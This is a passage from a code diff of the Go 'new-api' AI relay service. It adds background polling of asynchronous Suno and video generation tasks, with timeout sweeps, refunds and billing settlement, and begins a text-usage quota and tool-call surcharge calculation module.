+	"github.com/QuantumNous/new-api/constant"
+	"github.com/QuantumNous/new-api/dto"
+	"github.com/QuantumNous/new-api/logger"
+	"github.com/QuantumNous/new-api/model"
+	"github.com/QuantumNous/new-api/relay/channel/task/taskcommon"
+	relaycommon "github.com/QuantumNous/new-api/relay/common"
+
+	"github.com/samber/lo"
+)
+
+// TaskPollingAdaptor 定义轮询所需的最小适配器接口，避免 service -> relay 的循环依赖
+type TaskPollingAdaptor interface {
+	Init(info *relaycommon.RelayInfo)
+	FetchTask(baseURL string, key string, body map[string]any, proxy string) (*http.Response, error)
+	ParseTaskResult(body []byte) (*relaycommon.TaskInfo, error)
+	// AdjustBillingOnComplete 在任务到达终态（成功/失败）时由轮询循环调用。
+	// 返回正数触发差额结算（补扣/退还），返回 0 保持预扣费金额不变。
+	AdjustBillingOnComplete(task *model.Task, taskResult *relaycommon.TaskInfo) int
+}
+
+// GetTaskAdaptorFunc 由 main 包注入，用于获取指定平台的任务适配器。
+// 打破 service -> relay -> relay/channel -> service 的循环依赖。
+var GetTaskAdaptorFunc func(platform constant.TaskPlatform) TaskPollingAdaptor
+
+// sweepTimedOutTasks 在主轮询之前独立清理超时任务。
+// 每次最多处理 100 条，剩余的下个周期继续处理。
+// 使用 per-task CAS (UpdateWithStatus) 防止覆盖被正常轮询已推进的任务。
+func sweepTimedOutTasks(ctx context.Context) {
+	if constant.TaskTimeoutMinutes <= 0 {
+		return
+	}
+	cutoff := time.Now().Unix() - int64(constant.TaskTimeoutMinutes)*60
+	tasks := model.GetTimedOutUnfinishedTasks(cutoff, 100)
+	if len(tasks) == 0 {
+		return
+	}
+
+	const legacyTaskCutoff int64 = 1740182400 // 2026-02-22 00:00:00 UTC
+	reason := fmt.Sprintf("任务超时（%d分钟）", constant.TaskTimeoutMinutes)
+	legacyReason := "任务超时（旧系统遗留任务，不进行退款，请联系管理员）"
+	now := time.Now().Unix()
+	timedOutCount := 0
+
+	for _, task := range tasks {
+		isLegacy := task.SubmitTime > 0 && task.SubmitTime < legacyTaskCutoff
+
+		oldStatus := task.Status
+		task.Status = model.TaskStatusFailure
+		task.Progress = "100%"
+		task.FinishTime = now
+		if isLegacy {
+			task.FailReason = legacyReason
+		} else {
+			task.FailReason = reason
+		}
+
+		won, err := task.UpdateWithStatus(oldStatus)
+		if err != nil {
+			logger.LogError(ctx, fmt.Sprintf("sweepTimedOutTasks CAS update error for task %s: %v", task.TaskID, err))
+			continue
+		}
+		if !won {
+			logger.LogInfo(ctx, fmt.Sprintf("sweepTimedOutTasks: task %s already transitioned, skip", task.TaskID))
+			continue
+		}
+		timedOutCount++
+		if !isLegacy && task.Quota != 0 {
+			RefundTaskQuota(ctx, task, reason)
+		}
+	}
+
+	if timedOutCount > 0 {
+		logger.LogInfo(ctx, fmt.Sprintf("sweepTimedOutTasks: timed out %d tasks", timedOutCount))
+	}
+}
+
+// TaskPollingLoop 主轮询循环，每 15 秒检查一次未完成的任务
+func TaskPollingLoop() {
+	for {
+		time.Sleep(time.Duration(15) * time.Second)
+		common.SysLog("任务进度轮询开始")
+		ctx := context.TODO()
+		sweepTimedOutTasks(ctx)
+		allTasks := model.GetAllUnFinishSyncTasks(constant.TaskQueryLimit)
+		platformTask := make(map[constant.TaskPlatform][]*model.Task)
+		for _, t := range allTasks {
+			platformTask[t.Platform] = append(platformTask[t.Platform], t)
+		}
+		for platform, tasks := range platformTask {
+			if len(tasks) == 0 {
+				continue
+			}
+			taskChannelM := make(map[int][]string)
+			taskM := make(map[string]*model.Task)
+			nullTaskIds := make([]int64, 0)
+			for _, task := range tasks {
+				upstreamID := task.GetUpstreamTaskID()
+				if upstreamID == "" {
+					// 统计失败的未完成任务
+					nullTaskIds = append(nullTaskIds, task.ID)
+					continue
+				}
+				taskM[upstreamID] = task
+				taskChannelM[task.ChannelId] = append(taskChannelM[task.ChannelId], upstreamID)
+			}
+			if len(nullTaskIds) > 0 {
+				err := model.TaskBulkUpdateByID(nullTaskIds, map[string]any{
+					"status":   "FAILURE",
+					"progress": "100%",
+				})
+				if err != nil {
+					logger.LogError(ctx, fmt.Sprintf("Fix null task_id task error: %v", err))
+				} else {
+					logger.LogInfo(ctx, fmt.Sprintf("Fix null task_id task success: %v", nullTaskIds))
+				}
+			}
+			if len(taskChannelM) == 0 {
+				continue
+			}
+
+			DispatchPlatformUpdate(platform, taskChannelM, taskM)
+		}
+		common.SysLog("任务进度轮询完成")
+	}
+}
+
+// DispatchPlatformUpdate 按平台分发轮询更新
+func DispatchPlatformUpdate(platform constant.TaskPlatform, taskChannelM map[int][]string, taskM map[string]*model.Task) {
+	switch platform {
+	case constant.TaskPlatformMidjourney:
+		// MJ 轮询由其自身处理，这里预留入口
+	case constant.TaskPlatformSuno:
+		_ = UpdateSunoTasks(context.Background(), taskChannelM, taskM)
+	default:
+		if err := UpdateVideoTasks(context.Background(), platform, taskChannelM, taskM); err != nil {
+			common.SysLog(fmt.Sprintf("UpdateVideoTasks fail: %s", err))
+		}
+	}
+}
+
+// UpdateSunoTasks 按渠道更新所有 Suno 任务
+func UpdateSunoTasks(ctx context.Context, taskChannelM map[int][]string, taskM map[string]*model.Task) error {
+	for channelId, taskIds := range taskChannelM {
+		err := updateSunoTasks(ctx, channelId, taskIds, taskM)
+		if err != nil {
+			logger.LogError(ctx, fmt.Sprintf("渠道 #%d 更新异步任务失败: %s", channelId, err.Error()))
+		}
+	}
+	return nil
+}
+
+func updateSunoTasks(ctx context.Context, channelId int, taskIds []string, taskM map[string]*model.Task) error {
+	logger.LogInfo(ctx, fmt.Sprintf("渠道 #%d 未完成的任务有: %d", channelId, len(taskIds)))
+	if len(taskIds) == 0 {
+		return nil
+	}
+	ch, err := model.CacheGetChannel(channelId)
+	if err != nil {
+		common.SysLog(fmt.Sprintf("CacheGetChannel: %v", err))
+		// Collect DB primary key IDs for bulk update (taskIds are upstream IDs, not task_id column values)
+		var failedIDs []int64
+		for _, upstreamID := range taskIds {
+			if t, ok := taskM[upstreamID]; ok {
+				failedIDs = append(failedIDs, t.ID)
+			}
+		}
+		err = model.TaskBulkUpdateByID(failedIDs, map[string]any{
+			"fail_reason": fmt.Sprintf("获取渠道信息失败，请联系管理员，渠道ID：%d", channelId),
+			"status":      "FAILURE",
+			"progress":    "100%",
+		})
+		if err != nil {
+			common.SysLog(fmt.Sprintf("UpdateSunoTask error: %v", err))
+		}
+		return err
+	}
+	adaptor := GetTaskAdaptorFunc(constant.TaskPlatformSuno)
+	if adaptor == nil {
+		return errors.New("adaptor not found")
+	}
+	proxy := ch.GetSetting().Proxy
+	resp, err := adaptor.FetchTask(*ch.BaseURL, ch.Key, map[string]any{
+		"ids": taskIds,
+	}, proxy)
+	if err != nil {
+		common.SysLog(fmt.Sprintf("Get Task Do req error: %v", err))
+		return err
+	}
+	if resp.StatusCode != http.StatusOK {
+		logger.LogError(ctx, fmt.Sprintf("Get Task status code: %d", resp.StatusCode))
+		return fmt.Errorf("Get Task status code: %d", resp.StatusCode)
+	}
+	defer resp.Body.Close()
+	responseBody, err := io.ReadAll(resp.Body)
+	if err != nil {
+		common.SysLog(fmt.Sprintf("Get Suno Task parse body error: %v", err))
+		return err
+	}
+	var responseItems dto.TaskResponse[[]dto.SunoDataResponse]
+	err = common.Unmarshal(responseBody, &responseItems)
+	if err != nil {
+		logger.LogError(ctx, fmt.Sprintf("Get Suno Task parse body error2: %v, body: %s", err, string(responseBody)))
+		return err
+	}
+	if !responseItems.IsSuccess() {
+		common.SysLog(fmt.Sprintf("渠道 #%d 未完成的任务有: %d, 成功获取到任务数: %s", channelId, len(taskIds), string(responseBody)))
+		return err
+	}
+
+	for _, responseItem := range responseItems.Data {
+		task := taskM[responseItem.TaskID]
+		if !taskNeedsUpdate(task, responseItem) {
+			continue
+		}
+
+		task.Status = lo.If(model.TaskStatus(responseItem.Status) != "", model.TaskStatus(responseItem.Status)).Else(task.Status)
+		task.FailReason = lo.If(responseItem.FailReason != "", responseItem.FailReason).Else(task.FailReason)
+		task.SubmitTime = lo.If(responseItem.SubmitTime != 0, responseItem.SubmitTime).Else(task.SubmitTime)
+		task.StartTime = lo.If(responseItem.StartTime != 0, responseItem.StartTime).Else(task.StartTime)
+		task.FinishTime = lo.If(responseItem.FinishTime != 0, responseItem.FinishTime).Else(task.FinishTime)
+		if responseItem.FailReason != "" || task.Status == model.TaskStatusFailure {
+			logger.LogInfo(ctx, task.TaskID+" 构建失败，"+task.FailReason)
+			task.Progress = "100%"
+			RefundTaskQuota(ctx, task, task.FailReason)
+		}
+		if responseItem.Status == model.TaskStatusSuccess {
+			task.Progress = "100%"
+		}
+		task.Data = responseItem.Data
+
+		err = task.Update()
+		if err != nil {
+			common.SysLog("UpdateSunoTask task error: " + err.Error())
+		}
+	}
+	return nil
+}
+
+// taskNeedsUpdate 检查 Suno 任务是否需要更新
+func taskNeedsUpdate(oldTask *model.Task, newTask dto.SunoDataResponse) bool {
+	if oldTask.SubmitTime != newTask.SubmitTime {
+		return true
+	}
+	if oldTask.StartTime != newTask.StartTime {
+		return true
+	}
+	if oldTask.FinishTime != newTask.FinishTime {
+		return true
+	}
+	if string(oldTask.Status) != newTask.Status {
+		return true
+	}
+	if oldTask.FailReason != newTask.FailReason {
+		return true
+	}
+
+	if (oldTask.Status == model.TaskStatusFailure || oldTask.Status == model.TaskStatusSuccess) && oldTask.Progress != "100%" {
+		return true
+	}
+
+	oldData, _ := common.Marshal(oldTask.Data)
+	newData, _ := common.Marshal(newTask.Data)
+
+	sort.Slice(oldData, func(i, j int) bool {
+		return oldData[i] < oldData[j]
+	})
+	sort.Slice(newData, func(i, j int) bool {
+		return newData[i] < newData[j]
+	})
+
+	if string(oldData) != string(newData) {
+		return true
+	}
+	return false
+}
+
+// UpdateVideoTasks 按渠道更新所有视频任务
+func UpdateVideoTasks(ctx context.Context, platform constant.TaskPlatform, taskChannelM map[int][]string, taskM map[string]*model.Task) error {
+	for channelId, taskIds := range taskChannelM {
+		if err := updateVideoTasks(ctx, platform, channelId, taskIds, taskM); err != nil {
+			logger.LogError(ctx, fmt.Sprintf("Channel #%d failed to update video async tasks: %s", channelId, err.Error()))
+		}
+	}
+	return nil
+}
+
+func updateVideoTasks(ctx context.Context, platform constant.TaskPlatform, channelId int, taskIds []string, taskM map[string]*model.Task) error {
+	logger.LogInfo(ctx, fmt.Sprintf("Channel #%d pending video tasks: %d", channelId, len(taskIds)))
+	if len(taskIds) == 0 {
+		return nil
+	}
+	cacheGetChannel, err := model.CacheGetChannel(channelId)
+	if err != nil {
+		// Collect DB primary key IDs for bulk update (taskIds are upstream IDs, not task_id column values)
+		var failedIDs []int64
+		for _, upstreamID := range taskIds {
+			if t, ok := taskM[upstreamID]; ok {
+				failedIDs = append(failedIDs, t.ID)
+			}
+		}
+		errUpdate := model.TaskBulkUpdateByID(failedIDs, map[string]any{
+			"fail_reason": fmt.Sprintf("Failed to get channel info, channel ID: %d", channelId),
+			"status":      "FAILURE",
+			"progress":    "100%",
+		})
+		if errUpdate != nil {
+			common.SysLog(fmt.Sprintf("UpdateVideoTask error: %v", errUpdate))
+		}
+		return fmt.Errorf("CacheGetChannel failed: %w", err)
+	}
+	adaptor := GetTaskAdaptorFunc(platform)
+	if adaptor == nil {
+		return fmt.Errorf("video adaptor not found")
+	}
+	info := &relaycommon.RelayInfo{}
+	info.ChannelMeta = &relaycommon.ChannelMeta{
+		ChannelBaseUrl: cacheGetChannel.GetBaseURL(),
+	}
+	info.ApiKey = cacheGetChannel.Key
+	adaptor.Init(info)
+	for _, taskId := range taskIds {
+		if err := updateVideoSingleTask(ctx, adaptor, cacheGetChannel, taskId, taskM); err != nil {
+			logger.LogError(ctx, fmt.Sprintf("Failed to update video task %s: %s", taskId, err.Error()))
+		}
+		// sleep 1 second between each task to avoid hitting rate limits of upstream platforms
+		time.Sleep(1 * time.Second)
+	}
+	return nil
+}
+
+func updateVideoSingleTask(ctx context.Context, adaptor TaskPollingAdaptor, ch *model.Channel, taskId string, taskM map[string]*model.Task) error {
+	baseURL := constant.ChannelBaseURLs[ch.Type]
+	if ch.GetBaseURL() != "" {
+		baseURL = ch.GetBaseURL()
+	}
+	proxy := ch.GetSetting().Proxy
+
+	task := taskM[taskId]
+	if task == nil {
+		logger.LogError(ctx, fmt.Sprintf("Task %s not found in taskM", taskId))
+		return fmt.Errorf("task %s not found", taskId)
+	}
+	key := ch.Key
+
+	privateData := task.PrivateData
+	if privateData.Key != "" {
+		key = privateData.Key
+	}
+	resp, err := adaptor.FetchTask(baseURL, key, map[string]any{
+		"task_id": task.GetUpstreamTaskID(),
+		"action":  task.Action,
+	}, proxy)
+	if err != nil {
+		return fmt.Errorf("fetchTask failed for task %s: %w", taskId, err)
+	}
+	defer resp.Body.Close()
+	responseBody, err := io.ReadAll(resp.Body)
+	if err != nil {
+		return fmt.Errorf("readAll failed for task %s: %w", taskId, err)
+	}
+
+	logger.LogDebug(ctx, fmt.Sprintf("updateVideoSingleTask response: %s", string(responseBody)))
+
+	snap := task.Snapshot()
+
+	taskResult := &relaycommon.TaskInfo{}
+	// try parse as New API response format
+	var responseItems dto.TaskResponse[model.Task]
+	if err = common.Unmarshal(responseBody, &responseItems); err == nil && responseItems.IsSuccess() {
+		logger.LogDebug(ctx, fmt.Sprintf("updateVideoSingleTask parsed as new api response format: %+v", responseItems))
+		t := responseItems.Data
+		taskResult.TaskID = t.TaskID
+		taskResult.Status = string(t.Status)
+		taskResult.Url = t.GetResultURL()
+		taskResult.Progress = t.Progress
+		taskResult.Reason = t.FailReason
+		task.Data = t.Data
+	} else if taskResult, err = adaptor.ParseTaskResult(responseBody); err != nil {
+		return fmt.Errorf("parseTaskResult failed for task %s: %w", taskId, err)
+	}
+
+	task.Data = redactVideoResponseBody(responseBody)
+
+	logger.LogDebug(ctx, fmt.Sprintf("updateVideoSingleTask taskResult: %+v", taskResult))
+
+	now := time.Now().Unix()
+	if taskResult.Status == "" {
+		//taskResult = relaycommon.FailTaskInfo("upstream returned empty status")
+		errorResult := &dto.GeneralErrorResponse{}
+		if err = common.Unmarshal(responseBody, &errorResult); err == nil {
+			openaiError := errorResult.TryToOpenAIError()
+			if openaiError != nil {
+				// 返回规范的 OpenAI 错误格式，提取错误信息，判断错误是否为任务失败
+				if openaiError.Code == "429" {
+					// 429 错误通常表示请求过多或速率限制，暂时不认为是任务失败，保持原状态等待下一轮轮询
+					return nil
+				}
+
+				// 其他错误认为是任务失败，记录错误信息并更新任务状态
+				taskResult = relaycommon.FailTaskInfo("upstream returned error")
+			} else {
+				// unknown error format, log original response
+				logger.LogError(ctx, fmt.Sprintf("Task %s returned empty status with unrecognized error format, response: %s", taskId, string(responseBody)))
+				taskResult = relaycommon.FailTaskInfo("upstream returned unrecognized message")
+			}
+		}
+	}
+
+	shouldRefund := false
+	shouldSettle := false
+	quota := task.Quota
+
+	task.Status = model.TaskStatus(taskResult.Status)
+	switch taskResult.Status {
+	case model.TaskStatusSubmitted:
+		task.Progress = taskcommon.ProgressSubmitted
+	case model.TaskStatusQueued:
+		task.Progress = taskcommon.ProgressQueued
+	case model.TaskStatusInProgress:
+		task.Progress = taskcommon.ProgressInProgress
+		if task.StartTime == 0 {
+			task.StartTime = now
+		}
+	case model.TaskStatusSuccess:
+		task.Progress = taskcommon.ProgressComplete
+		if task.FinishTime == 0 {
+			task.FinishTime = now
+		}
+		if strings.HasPrefix(taskResult.Url, "data:") {
+			// data: URI (e.g. Vertex base64 encoded video) — keep in Data, not in ResultURL
+			task.PrivateData.ResultURL = taskcommon.BuildProxyURL(task.TaskID)
+		} else if taskResult.Url != "" {
+			// Direct upstream URL (e.g. Kling, Ali, Doubao, etc.)
+			task.PrivateData.ResultURL = taskResult.Url
+		} else {
+			// No URL from adaptor — construct proxy URL using public task ID
+			task.PrivateData.ResultURL = taskcommon.BuildProxyURL(task.TaskID)
+		}
+		shouldSettle = true
+	case model.TaskStatusFailure:
+		logger.LogJson(ctx, fmt.Sprintf("Task %s failed", taskId), task)
+		task.Status = model.TaskStatusFailure
+		task.Progress = taskcommon.ProgressComplete
+		if task.FinishTime == 0 {
+			task.FinishTime = now
+		}
+		task.FailReason = taskResult.Reason
+		logger.LogInfo(ctx, fmt.Sprintf("Task %s failed: %s", task.TaskID, task.FailReason))
+		taskResult.Progress = taskcommon.ProgressComplete
+		if quota != 0 {
+			shouldRefund = true
+		}
+	default:
+		return fmt.Errorf("unknown task status %s for task %s", taskResult.Status, task.TaskID)
+	}
+	if taskResult.Progress != "" {
+		task.Progress = taskResult.Progress
+	}
+
+	isDone := task.Status == model.TaskStatusSuccess || task.Status == model.TaskStatusFailure
+	if isDone && snap.Status != task.Status {
+		won, err := task.UpdateWithStatus(snap.Status)
+		if err != nil {
+			logger.LogError(ctx, fmt.Sprintf("UpdateWithStatus failed for task %s: %s", task.TaskID, err.Error()))
+			shouldRefund = false
+			shouldSettle = false
+		} else if !won {
+			logger.LogWarn(ctx, fmt.Sprintf("Task %s already transitioned by another process, skip billing", task.TaskID))
+			shouldRefund = false
+			shouldSettle = false
+		}
+	} else if !snap.Equal(task.Snapshot()) {
+		if _, err := task.UpdateWithStatus(snap.Status); err != nil {
+			logger.LogError(ctx, fmt.Sprintf("Failed to update task %s: %s", task.TaskID, err.Error()))
+		}
+	} else {
+		// No changes, skip update
+		logger.LogDebug(ctx, fmt.Sprintf("No update needed for task %s", task.TaskID))
+	}
+
+	if shouldSettle {
+		settleTaskBillingOnComplete(ctx, adaptor, task, taskResult)
+	}
+	if shouldRefund {
+		RefundTaskQuota(ctx, task, task.FailReason)
+	}
+
+	return nil
+}
+
+func redactVideoResponseBody(body []byte) []byte {
+	var m map[string]any
+	if err := common.Unmarshal(body, &m); err != nil {
+		return body
+	}
+	resp, _ := m["response"].(map[string]any)
+	if resp != nil {
+		delete(resp, "bytesBase64Encoded")
+		if v, ok := resp["video"].(string); ok {
+			resp["video"] = truncateBase64(v)
+		}
+		if vs, ok := resp["videos"].([]any); ok {
+			for i := range vs {
+				if vm, ok := vs[i].(map[string]any); ok {
+					delete(vm, "bytesBase64Encoded")
+				}
+			}
+		}
+	}
+	b, err := common.Marshal(m)
+	if err != nil {
+		return body
+	}
+	return b
+}
+
+func truncateBase64(s string) string {
+	const maxKeep = 256
+	if len(s) <= maxKeep {
+		return s
+	}
+	return s[:maxKeep] + "..."
+}
+
+// settleTaskBillingOnComplete 任务完成时的统一计费调整。
+// 优先级：1. adaptor.AdjustBillingOnComplete 返回正数 → 使用 adaptor 计算的额度
+//
+//  2. taskResult.TotalTokens > 0 → 按 token 重算
+//  3. 都不满足 → 保持预扣额度不变
+func settleTaskBillingOnComplete(ctx context.Context, adaptor TaskPollingAdaptor, task *model.Task, taskResult *relaycommon.TaskInfo) {
+	// 0. 按次计费的任务不做差额结算
+	if bc := task.PrivateData.BillingContext; bc != nil && bc.PerCallBilling {
+		logger.LogInfo(ctx, fmt.Sprintf("任务 %s 按次计费，跳过差额结算", task.TaskID))
+		return
+	}
+	// 1. 优先让 adaptor 决定最终额度
+	if actualQuota := adaptor.AdjustBillingOnComplete(task, taskResult); actualQuota > 0 {
+		RecalculateTaskQuota(ctx, task, actualQuota, "adaptor计费调整")
+		return
+	}
+	// 2. 回退到 token 重算
+	if taskResult.TotalTokens > 0 {
+		RecalculateTaskQuotaByTokens(ctx, task, taskResult.TotalTokens)
+		return
+	}
+	// 3. 无调整，保持预扣额度
+}
diff --git a/new-api/service/text_quota.go b/new-api/service/text_quota.go
new file mode 100644
index 0000000..6f9f73c
--- /dev/null
+++ b/new-api/service/text_quota.go
@@ -0,0 +1,474 @@
+package service
+
+import (
+	"fmt"
+	"strings"
+	"time"
+
+	"github.com/QuantumNous/new-api/common"
+	"github.com/QuantumNous/new-api/constant"
+	"github.com/QuantumNous/new-api/dto"
+	"github.com/QuantumNous/new-api/logger"
+	"github.com/QuantumNous/new-api/model"
+	"github.com/QuantumNous/new-api/pkg/billingexpr"
+	relaycommon "github.com/QuantumNous/new-api/relay/common"
+	"github.com/QuantumNous/new-api/setting/operation_setting"
+	"github.com/QuantumNous/new-api/types"
+
+	"github.com/gin-gonic/gin"
+	"github.com/shopspring/decimal"
+)
+
+type textQuotaSummary struct {
+	PromptTokens             int
+	CompletionTokens         int
+	TotalTokens              int
+	CacheTokens              int
+	CacheCreationTokens      int
+	CacheCreationTokens5m    int
+	CacheCreationTokens1h    int
+	ImageTokens              int
+	AudioTokens              int
+	ModelName                string
+	TokenName                string
+	UseTimeSeconds           int64
+	CompletionRatio          float64
+	CacheRatio               float64
+	ImageRatio               float64
+	ModelRatio               float64
+	GroupRatio               float64
+	ModelPrice               float64
+	CacheCreationRatio       float64
+	CacheCreationRatio5m     float64
+	CacheCreationRatio1h     float64
+	Quota                    int
+	IsClaudeUsageSemantic    bool
+	UsageSemantic            string
+	WebSearchPrice           float64
+	WebSearchCallCount       int
+	ClaudeWebSearchPrice     float64
+	ClaudeWebSearchCallCount int
+	FileSearchPrice          float64
+	FileSearchCallCount      int
+	AudioInputPrice          float64
+	ImageGenerationCallPrice float64
+	ToolCallSurchargeQuota   decimal.Decimal
+}
+
+func cacheWriteTokensTotal(summary textQuotaSummary) int {
+	if summary.CacheCreationTokens5m > 0 || summary.CacheCreationTokens1h > 0 {
+		splitCacheWriteTokens := summary.CacheCreationTokens5m + summary.CacheCreationTokens1h
+		if summary.CacheCreationTokens > splitCacheWriteTokens {
+			return summary.CacheCreationTokens
+		}
+		return splitCacheWriteTokens
+	}
+	return summary.CacheCreationTokens
+}
+
+func isLegacyClaudeDerivedOpenAIUsage(relayInfo *relaycommon.RelayInfo, usage *dto.Usage) bool {
+	if relayInfo == nil || usage == nil {
+		return false
+	}
+	if relayInfo.GetFinalRequestRelayFormat() == types.RelayFormatClaude {
+		return false
+	}
+	if usage.UsageSource != "" || usage.UsageSemantic != "" {
+		return false
+	}
+	return usage.ClaudeCacheCreation5mTokens > 0 || usage.ClaudeCacheCreation1hTokens > 0
+}
+
+func calculateTextToolCallSurcharge(ctx *gin.Context, relayInfo *relaycommon.RelayInfo, summary *textQuotaSummary) decimal.Decimal {
+	dGroupRatio := decimal.NewFromFloat(summary.GroupRatio)
+	dQuotaPerUnit := decimal.NewFromFloat(common.QuotaPerUnit)
+
+	var surcharge decimal.Decimal
+
+	if relayInfo.ResponsesUsageInfo != nil {
+		if webSearchTool, exists := relayInfo.ResponsesUsageInfo.BuiltInTools[dto.BuildInToolWebSearchPreview]; exists && webSearchTool.CallCount > 0 {
+			summary.WebSearchCallCount = webSearchTool.CallCount
+			summary.WebSearchPrice = operation_setting.GetToolPriceForModel("web_search_preview", summary.ModelName)
+			surcharge = surcharge.Add(decimal.NewFromFloat(summary.WebSearchPrice).
+				Mul(decimal.NewFromInt(int64(webSearchTool.CallCount))).
+				Div(decimal.NewFromInt(1000)).
+				Mul(dGroupRatio).
+				Mul(dQuotaPerUnit))
+		}
+	} else if strings.HasSuffix(summary.ModelName, "search-preview") {
+		summary.WebSearchCallCount = 1
+		summary.WebSearchPrice = operation_setting.GetToolPriceForModel("web_search_preview", summary.ModelName)
+		surcharge = surcharge.Add(decimal.NewFromFloat(summary.WebSearchPrice).
+			Div(decimal.NewFromInt(1000)).
+			Mul(dGroupRatio).
+			Mul(dQuotaPerUnit))
+	}
+
+	summary.ClaudeWebSearchCallCount = ctx.GetInt("claude_web_search_requests")
+	if summary.ClaudeWebSearchCallCount > 0 {
+		summary.ClaudeWebSearchPrice = operation_setting.GetToolPrice("web_search")
+		surcharge = surcharge.Add(decimal.NewFromFloat(summary.ClaudeWebSearchPrice).
+			Div(decimal.NewFromInt(1000)).
+			Mul(dGroupRatio).
+			Mul(dQuotaPerUnit).
+			Mul(decimal.NewFromInt(int64(summary.ClaudeWebSearchCallCount))))
+	}
+
+	if relayInfo.ResponsesUsageInfo != nil {
+		if fileSearchTool, exists := relayInfo.ResponsesUsageInfo.BuiltInTools[dto.BuildInToolFileSearch]; exists && fileSearchTool.CallCount > 0 {
+			summary.FileSearchCallCount = fileSearchTool.CallCount
+			summary.FileSearchPrice = operation_setting.GetToolPrice("file_search")
+			surcharge = surcharge.Add(decimal.NewFromFloat(summary.FileSearchPrice).
+				Mul(decimal.NewFromInt(int64(fileSearchTool.CallCount))).
+				Div(decimal.NewFromInt(1000)).
+				Mul(dGroupRatio).
+				Mul(dQuotaPerUnit))
+		}
+	}
+
+	if ctx.GetBool("image_generation_call") {
+		summary.ImageGenerationCallPrice = operation_setting.GetGPTImage1PriceOnceCall(ctx.GetString("image_generation_call_quality"), ctx.GetString("image_generation_call_size"))
+		surcharge = surcharge.Add(decimal.NewFromFloat(summary.ImageGenerationCallPrice).
+			Mul(dGroupRatio).
+			Mul(dQuotaPerUnit))
+	}
+
+	return surcharge
+}
+
+func composeTieredTextQuota(relayInfo *relaycommon.RelayInfo, summary textQuotaSummary, tieredQuota int, tieredResult *billingexpr.TieredResult) int {
+	if summary.ToolCallSurchargeQuota.IsZero() {
+		return tieredQuota
+	}
+
+	if tieredResult != nil {
+		if snap := relayInfo.TieredBillingSnapshot; snap != nil {
+			return int(decimal.NewFromFloat(tieredResult.ActualQuotaBeforeGroup).
+				Mul(decimal.NewFromFloat(snap.GroupRatio)).
+				Add(summary.ToolCallSurchargeQuota).
+				Round(0).
+				IntPart())
+		}
+	}
+
+	return tieredQuota + int(summary.ToolCallSurchargeQuota.Round(0).IntPart())
+}
+
+func calculateTextQuotaSummary(ctx *gin.Context, relayInfo *relaycommon.RelayInfo, usage *dto.Usage) textQuotaSummary {
+	summary := textQuotaSummary{
+		ModelName:            relayInfo.OriginModelName,
+		TokenName:            ctx.GetString("token_name"),
+		UseTimeSeconds:       time.Now().Unix() - relayInfo.StartTime.Unix(),
+		CompletionRatio:      relayInfo.PriceData.CompletionRatio,
+		CacheRatio:           relayInfo.PriceData.CacheRatio,
+		ImageRatio:           relayInfo.PriceData.ImageRatio,
+		ModelRatio:           relayInfo.PriceData.ModelRatio,
+		GroupRatio:           relayInfo.PriceData.GroupRatioInfo.GroupRatio,
+		ModelPrice:           relayInfo.PriceData.ModelPrice,
+		CacheCreationRatio:   relayInfo.PriceData.CacheCreationRatio,
+		CacheCreationRatio5m: relayInfo.PriceData.CacheCreation5mRatio,
+		CacheCreationRatio1h: relayInfo.PriceData.CacheCreation1hRatio,
+		UsageSemantic:        usageSemanticFromUsage(relayInfo, usage),
+	}
+	summary.IsClaudeUsageSemantic = summary.UsageSemantic == "anthropic"
+
+	if usage == nil {
+		usage = &dto.Usage{
+			PromptTokens:     relayInfo.GetEstimatePromptTokens(),
+			CompletionTokens: 0,
+			TotalTokens:      relayInfo.GetEstimatePromptTokens(),
+		}
+	}
+
+	summary.PromptTokens = usage.PromptTokens
+	summary.CompletionTokens = usage.CompletionTokens
+	summary.TotalTokens = usage.PromptTokens + usage.CompletionTokens
+	summary.CacheTokens = usage.PromptTokensDetails.CachedTokens
+	summary.CacheCreationTokens = usage.PromptTokensDetails.CachedCreationTokens
+	summary.CacheCreationTokens5m = usage.ClaudeCacheCreation5mTokens
+	summary.CacheCreationTokens1h = usage.ClaudeCacheCreation1hTokens
+	summary.ImageTokens = usage.PromptTokensDetails.ImageTokens
+	summary.AudioTokens = usage.PromptTokensDetails.AudioTokens
+	legacyClaudeDerived := isLegacyClaudeDerivedOpenAIUsage(relayInfo, usage)
+	isOpenRouterClaudeBilling := relayInfo.ChannelMeta != nil &&
+		relayInfo.ChannelType == constant.ChannelTypeOpenRouter &&
+		summary.IsClaudeUsageSemantic
+
+	if isOpenRouterClaudeBilling {
+		summary.PromptTokens -= summary.CacheTokens
+		isUsingCustomSettings := relayInfo.PriceData.UsePrice || hasCustomModelRatio(summary.ModelName, relayInfo.PriceData.ModelRatio)
+		if summary.CacheCreationTokens == 0 && relayInfo.PriceData.CacheCreationRatio != 1 && usage.Cost != 0 && !isUsingCustomSettings {
+			maybeCacheCreationTokens := CalcOpenRouterCacheCreateTokens(*usage, relayInfo.PriceData)
+			if maybeCacheCreationTokens >= 0 && summary.PromptTokens >= maybeCacheCreationTokens {
+				summary.CacheCreationTokens = maybeCacheCreationTokens
+			}
+		}
+		summary.PromptTokens -= summary.CacheCreationTokens
+	}
+
+	dPromptTokens := decimal.NewFromInt(int64(summary.PromptTokens))
+	dCacheTokens := decimal.NewFromInt(int64(summary.CacheTokens))
+	dImageTokens := decimal.NewFromInt(int64(summary.ImageTokens))
+	dAudioTokens := decimal.NewFromInt(int64(summary.AudioTokens))
+	dCompletionTokens := decimal.NewFromInt(int64(summary.CompletionTokens))
+	dCachedCreationTokens := decimal.NewFromInt(int64(summary.CacheCreationTokens))
+	dCompletionRatio := decimal.NewFromFloat(summary.CompletionRatio)
+	dCacheRatio := decimal.NewFromFloat(summary.CacheRatio)
+	dImageRatio := decimal.NewFromFloat(summary.ImageRatio)
+	dModelRatio := decimal.NewFromFloat(summary.ModelRatio)
+	dGroupRatio := decimal.NewFromFloat(summary.GroupRatio)
+	dModelPrice := decimal.NewFromFloat(summary.ModelPrice)
+	dCacheCreationRatio := decimal.NewFromFloat(summary.CacheCreationRatio)
+	dCacheCreationRatio5m := decimal.NewFromFloat(summary.CacheCreationRatio5m)
+	dCacheCreationRatio1h := decimal.NewFromFloat(summary.CacheCreationRatio1h)
+	dQuotaPerUnit := decimal.NewFromFloat(common.QuotaPerUnit)
+
+	ratio := dModelRatio.Mul(dGroupRatio)
+	summary.ToolCallSurchargeQuota = calculateTextToolCallSurcharge(ctx, relayInfo, &summary)
+
+	var audioInputQuota decimal.Decimal
+	if !relayInfo.PriceData.UsePrice {
+		baseTokens := dPromptTokens
+
+		var cachedTokensWithRatio decimal.Decimal
+		if !dCacheTokens.IsZero() {
